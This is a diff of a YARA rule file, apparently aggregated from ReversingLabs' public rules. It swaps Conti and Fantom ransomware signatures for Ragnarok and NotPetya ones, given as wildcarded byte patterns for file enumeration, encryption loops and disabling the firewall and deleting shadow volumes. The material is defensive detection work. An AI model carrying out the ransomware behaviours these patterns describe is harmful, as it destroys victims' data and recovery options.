+		logic_hash = "aaa17ab98b59a5c8c71a2b82a9bf29dd3a1a1719deaf08a3bafa77895bc10311"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -44523,70 +44913,101 @@ rule REVERSINGLABS_Win32_Ransomware_Conti : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Conti"
+		tc_detection_name = "Ragnarok"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 8B D9 53 FF 15 ?? ?? ?? ?? 89 44 24 ??
-            8D 0C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 44
-            24 ?? B9 ?? ?? ?? ?? 53 BE ?? ?? ?? ?? 57 66 83 7C 43 ?? ?? 0F 45 F1 FF 15 ?? ?? ??
-            ?? 56 57 FF 15 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ??
-            8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
-            ?? ?? ?? F6 44 24 ?? ?? 74 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 54 24 ?? 8B
-            CB E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8B CE E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? EB ??
-            8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 54 24 ?? 8B CB E8 ?? ?? ?? ?? 8B F0 85 F6
-            74 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 5A 8B C8 C6 01 ?? 41
-            83 EA ?? 75 ?? 83 48 ?? ?? 50 89 70 ?? A1 ?? ?? ?? ?? 52 6A ?? FF 70 ?? FF 15 ?? ??
-            ?? ?? 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? E8 ??
-            ?? ?? ?? 83 FF ?? 74 ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
+		$find_files_p1 = {
+            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41
+            F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F 8B E5 5D C3 53 56 8D 5F ?? 03 D9 6A ?? 53 E8
+            ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0
+            75 ?? FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B
+            5D ?? 8B CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59
+            EB ?? 8B 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B EB ?? 33 FF
+            57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33
+            C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C
+            ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95
+            ?? ?? ?? ?? 8A 01 88 85 ?? ?? ?? ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53
+            57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ??
+            74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ??
+            ?? ?? 56 1B C0 89 9D ?? ?? ?? ?? 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ??
+            ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8
+        }
+		$find_files_p2 = {
+            83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF
+            15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4
+            ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ??
+            89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ??
+            ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50
+            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80
+            38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF
+            B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ??
+            ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ??
+            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ??
+            2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ??
+            83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 59 8B D8 56 FF 15 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 59 8B C3 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 		$encrypt_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 BB ?? ?? ?? ?? 8B F9 53 57 FF 15 ?? ?? ?? ?? 85
-            C0 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            A1 ?? ?? ?? ?? 83 F8 ?? 75 ?? 89 75 ?? 33 F6 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? FF 74 B5 ?? 57 FF 15 ?? ?? ??
-            ?? 85 C0 75 ?? 46 83 FE ?? 7C ?? 33 C0 40 EB ?? 85 C0 75 ?? 8B 35 ?? ?? ?? ?? BB ??
-            ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 00 ?? 40 83 E9 ?? 75 ?? 53 56 FF 15 ??
-            ?? ?? ?? 85 C0 74 ?? 2B C6 D1 F8 74 ?? 85 C0 78 ?? 40 50 56 8D 85 ?? ?? ?? ?? 50 FF
-            15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 53 56 FF 15 ??
-            ?? ?? ?? 8B F0 85 F6 74 ?? 83 C6 ?? EB ?? 33 C0 5F 5E 5B C9 C3
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 8B 4D ?? 56 57 89
+            85 ?? ?? ?? ?? 33 FF 33 C0 89 8D ?? ?? ?? ?? 6A ?? 51 89 85 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 8D 70 ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 8A 0E
+            3A 08 75 ?? 84 C9 74 ?? 8A 4E ?? 3A 48 ?? 75 ?? 83 C6 ?? 83 C0 ?? 84 C9 75 ?? 33 C0
+            EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D8
+            68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 8B 40 ?? 8B F8 E8 ?? ?? ?? ??
+            33 D2 B9 ?? ?? ?? ?? F7 F1 8A 04 3A 88 04 1E 46 83 FE ?? 7C ?? FF B5 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 33 C9 23 F9 89 8D ?? ?? ?? ?? 3D ?? ?? ?? ??
+            0F 87 ?? ?? ?? ?? 48 83 E0 ?? 83 C0 ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? FF B5 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF
         }
 		$encrypt_files_p2 = {
-            55 8B EC 83 EC ?? 53 56 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 DB 53 FF 15 ?? ??
-            ?? ?? 8B F8 85 FF 75 ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5E 56 68 ?? ?? ??
-            ?? 53 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53
-            8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 8D 45
-            ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 8D 45 ?? 50
-            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 53 53 68 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 6A
-            ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 8B 45 ?? FF 70 ?? FF 15 ?? ?? ?? ?? 85 C0 75
-            ?? 6A ?? FF 15 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 4D ??
-            8B D7 FF 75 ?? E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8B 45 ?? FF 70 ?? FF 15 ?? ?? ?? ??
-            8B 45 ?? B9 ?? ?? ?? ?? 83 48 ?? ?? 8B 45 ?? 8B 58 ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74
-            ?? 53 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 53 FF 15 ?? ?? ??
-            ?? 8B CE E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 49 ?? E8 ?? ?? ?? ?? FF
-            75 ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? FF
-            75 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B C9 C2
+            0F 84 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 57 8B F0 E8 ?? ?? ??
+            ?? 83 C4 ?? 33 FF 3B B5 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 3B 85 ?? ?? ?? ?? 0F 85
+            ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ??
+            ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 50 53 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 85 ?? ?? ??
+            ?? 57 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 75 ?? 57 6A ??
+            8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ??
+            ?? 83 C4 ?? 3B 85 ?? ?? ?? ?? 75 ?? 57 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 33 FF 56 E8
+            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 5B 85 C0 74 ??
+            50 E8 ?? ?? ?? ?? 83 C4 ?? 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 33 CD
+            5E E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$disable_fw_and_delete_shadow_volumes = {
+            6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 85 C0 74 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A
+            ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 6A ?? FF D7 E9 ?? ??
+            ?? ?? 6A ?? FF 35 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ??
+            50 FF 35 ?? ?? ?? ?? FF D3 6A ?? FF 35 ?? ?? ?? ?? 8B F0 E8 ?? ?? ?? ?? 8B 48 ?? 51
+            FF 35 ?? ?? ?? ?? FF D3 8B F8 8D 85 ?? ?? ?? ?? 50 FF D6 8D 45 ?? 50 8D 85 ?? ?? ??
+            ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 40 ?? 50 6A ?? FF 95 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A
+            ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ??
+            ?? ?? ?? 8B 40 ?? 50 6A ?? FF D6 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ??
+            6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 6A ??
+            FF D6 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ??
+            ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 6A ?? FF D6
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($disable_fw_and_delete_shadow_volumes) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Fantom : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Notpetya : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Fantom ransomware."
+		description = "Yara rule that detects NotPetya ransomware."
 		author = "ReversingLabs"
-		id = "cd32de8b-2c14-5fb4-be79-365d9848f341"
-		date = "2021-08-12"
-		modified = "2021-08-12"
+		id = "ea655048-4ef7-5dd7-872e-f1c2e38234cf"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Fantom.yara#L1-L97"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "f2aaa9776b7ca302052b3303d45df24cc151a4efc7ea9f4bb3c1f53d10ded03a"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.NotPetya.yara#L1-L73"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "328f0e527fee2145879ee13c003d375db832f7f3eacf7a1eb303393c1c8b5a36"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -44594,91 +45015,73 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Fantom : TC_DETECTION MALICIOUS MALW
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Fantom"
+		tc_detection_name = "NotPetya"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_1 = {
-            00 72 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ??
-            26 DE ?? 26 DE ?? 02 28 ?? ?? ?? ?? 13 ?? 02 28 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 02 28
-            ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? [1-2] 02 72 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 [1-2] 20
-            ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 6F
-            ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 02 7B ?? ?? ?? ?? 02 7B
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 8D ?? ??
-            ?? ?? 13 ?? 11 ?? 16
-        }
-		$encrypt_files_2 = {
-            72 ?? ?? ?? ?? A2 11 ?? 17 72 ?? ?? ?? ?? A2 11 ?? 18 72 ?? ?? ?? ?? A2 11 ??
-            19 72 ?? ?? ?? ?? A2 11 ?? 1A 72 ?? ?? ?? ?? A2 11 ?? 1B 72 ?? ?? ?? ?? A2 11
-            ?? 1C 72 ?? ?? ?? ?? A2 11 ?? 1D 72 ?? ?? ?? ?? A2 11 ?? 1E 72 ?? ?? ?? ?? A2
-            11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ??
-            ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ??
-            1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ??
-            ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ??
-            72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2
-            11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ??
-            ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ??
-            1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ??
-            ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ??
-            72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2
-            11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ??
-            ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ??
-            1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ??
-            ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ??
-            72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2
-            11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ??
-            ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ??
-            1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ??
-            ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ??
-            72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2
-            11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ??
-            ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11
+		$encrypt_file = {
+            8B EC 83 EC ?? 53 56 57 33 F6 56 56 6A ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ??
+            ?? ?? 8B F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 89
+            75 ?? 39 75 ?? 7C ?? B8 ?? ?? ?? ?? 7F ?? 39 45 ?? 76 ?? 89 45 ?? 8B D8 56 53 56 6A
+            ?? 56 57 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 74 ?? FF 75 ?? 56 56 6A ?? 50 FF 15 ?? ??
+            ?? ?? 8B F8 3B FE 74 ?? 53 8D 45 ?? 50 8B 45 ?? 57 56 FF 75 ?? 56 FF 70 ?? FF 15 ??
+            ?? ?? ?? 85 C0 74 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? FF
+            15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B C9 C2 ?? ?? 8B 45 ?? 89 45 ?? C1
+            E8 ?? 8D 58 ?? C7 45 ?? ?? ?? ?? ?? C1 E3 ?? E9
         }
-		$lockfile = {
-            02 7B ?? ?? ?? ?? 16 FE ?? 3A ?? ?? ?? ?? 21 EA 17 ?? ?? ?? ?? ?? ?? ??
-            03 73 ?? ?? ?? ?? [2-4] 6F ?? ?? ?? ?? [2-4] 21 00 65 CD 1D
-            00 00 00 00 FE ?? 16 FE ?? 2D ?? [2-4] FE ?? 16 FE ?? 2D ?? 03 28
-            ?? ?? ?? ?? ?? 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? [1-2] 28 ?? ?? ?? ?? [1-2]
-            6F ?? ?? ?? ?? [1-2] 02 ?? [1-2] 28 ?? ?? ?? ?? [1-2] 03 [1-2] 28 ?? ??
-            ?? ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? [1-2] ?? FE ??
-            16 FE ?? 2D ?? 2B ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            2B ?? 03 28 ?? ?? ?? ?? ?? 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? [1-2] 28 ??
-            ?? ?? ?? [1-2] 6F ?? ?? ?? ?? [1-2] 02 ?? [1-2] 28 ?? ?? ?? ?? [1-2] 03
-            [1-2] 28 ?? ?? ?? ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            2A
+		$main = {
+            55 8B EC 8B 45 ?? 53 56 8B 35 ?? ?? ?? ?? 57 BF ?? ?? ?? ?? 57 6A ?? BB ?? ?? ?? ??
+            53 83 C0 ?? 6A ?? 50 FF D6 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 57 6A
+            ?? 6A ?? EB ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? 6A ?? 53 8B 45 ?? 6A ?? 83 C0 ?? 50 FF D6
+            85 C0 74 ?? 8B 75 ?? 8B C6 E8 ?? ?? ?? ?? 85 C0 74 ?? 56 6A ?? 56 E8 ?? ?? ?? ?? 56
+            E8 ?? ?? ?? ?? FF 76 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 76 ?? FF 15 ?? ?? ?? ?? EB ?? 8B
+            75 ?? 56 FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 5D C2
         }
-		$lockdir = {
-            03 28 ?? ?? ?? ?? 0A 03 28 ?? ?? ?? ?? 0B 16 0C 08 06 8E 69 FE ?? 2C ??
-            00 06 08 9A 28 ?? ?? ?? ?? 0D 05 09 28 ?? ?? ?? ?? 16 FE ?? 2D ?? 02 25
-            7B ?? ?? ?? ?? 17 58 7D ?? ?? ?? ?? 02 06 08 9A 04 28 ?? ?? ?? ?? DE ??
-            26 DE ?? 26 DE ?? 08 17 58 0C 2B ?? 16 0C 08 07 8E 69 FE ?? 2C ?? 00 02
-            07 08 9A 04 05 28 ?? ?? ?? ?? 02 07 08 9A 04 28 ?? ?? ?? ?? DE ?? 26 DE
-            ?? 26 DE ?? 08 17 58 0C 2B ?? 2A
+		$encryption_loop = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 83 7D ?? ?? 53 56 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? FF 75 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44
+            24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ??
+            ?? ?? 8B 1D ?? ?? ?? ?? 8B 75 ?? 8B 46 ?? 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 44 24 ?? 66 8B 10
+            66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85
+            D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 44 24
+            ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83
+            C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ??
